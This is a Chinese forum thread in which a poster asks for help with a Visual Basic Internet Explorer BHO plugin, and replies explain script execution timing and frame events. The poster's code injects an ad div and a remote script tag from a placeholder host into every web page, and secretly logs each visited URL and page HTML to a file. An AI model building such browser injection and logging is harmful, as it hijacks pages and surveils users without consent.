请教IE插件BHO如何执行脚本[附代码]
可以修改网页内容,但无法执行 JAVASCRIPT脚本,求高手赐教!
还有就是,这个 IE_DocumentComplete 事件,在一个浏览器窗口里,会被多次执行,有好方法只执行一次吗?
我的邮箱:d e f i c at 163.com
代码如下:
- VB code
Implements IObjectWithSiteTLB.IObjectWithSiteDim WithEvents IE As InternetExplorer'Attribute IE.VB_VarHelpID = -1Dim M_Site As IUnknownVBPublic adStr As StringPublic ExecAllready As BooleanPrivate Sub IE_DocumentComplete(ByVal pDisp As Object, URL As Variant) Dim appendstr As String Dim oldhtml As String appendstr = "<div id=ad>测试代码</div>" ‘这个可以执行' appendstr = "<script src=http://www.xxx.com/sc.asp></script>" 这个脚本无法执行 filePath = "C:\WINDOWS\bho\annybho.txt" cliptext = "网址=" & URL & Chr(13) WriteFile filePath, cliptext p1 = InStr(1, URL, "http://") If p1 >= 1 Then oldhtml = IE.Document.body.innerhtml IE.Document.body.innerhtml = oldhtml & appendstr oldhtml = IE.Document.body.innerhtml cliptext = "代码=" & oldhtml & Chr(13) WriteFile filePath, cliptext End If End SubPrivate Sub IObjectWithSite_GetSite(ByVal Priid As IObjectWithSiteTLB.GUIDPtr, PPVobj As IObjectWithSiteTLB.VOIDPtr)M_Site.QueryInterface Priid, PPVobjEnd SubPrivate Sub IObjectWithSite_SetSite(ByVal pSite As IObjectWithSiteTLB.IUnknownVB)Set M_Site = pSiteSet IE = pSiteEnd Sub
[解决办法]
这个 IE_DocumentComplete 事件,在一个浏览器窗口里,会被多次执行,有好方法只执行一次吗?
没有...这个是因为加载导致的...
还有你的脚本不执行是正常的,因为你的那句已经在onload事件之后才执行的,当然不执行了,
如果你一定要执行其中的函数的话
可以用document.execscript 不过这个也有个前提,必须是在这个script加载之后执行...所以一般
我们会写一段js去等待执行 判断这个脚本块的onreadystatechange事件是否执行了...
[解决办法]
DocumentComplete 每个框架都会触发一遍。要检测是否是顶层文档触发的,参考http://support.microsoft.com/kb/180366
0x80020101=SCRIPT_E_REPORTED,说明脚本有错误。要了解具体脚本错误信息的话,参考http://support.microsoft.com/kb/261003。